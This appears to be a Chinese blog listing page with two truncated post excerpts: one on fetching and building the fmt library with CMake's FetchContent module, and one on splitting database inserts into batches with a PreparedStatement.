有时我们希望直接使用 GitHub 上的开源库,而不想手动下载、编译和安装。 可以利用 CMake 提供的 FetchContent 模块来实现自动下载、构建和链接第三方库。 FetchContent 命令官方文档✅ 示例代码 我们将以 fmt 这个流行的格式化库为例,演示如何: 使用 FetchContent 从 GitH…...

数据库分批入库

今天在工作中&#xff0c;遇到一个问题&#xff0c;就是分批查询的时候&#xff0c;由于批次过大导致出现了一些问题&#xff0c;一下是问题描述和解决方案&#xff1a; 示例&#xff1a; // 假设已有数据列表 dataList 和 PreparedStatement pstmt int batchSize 1000; // …...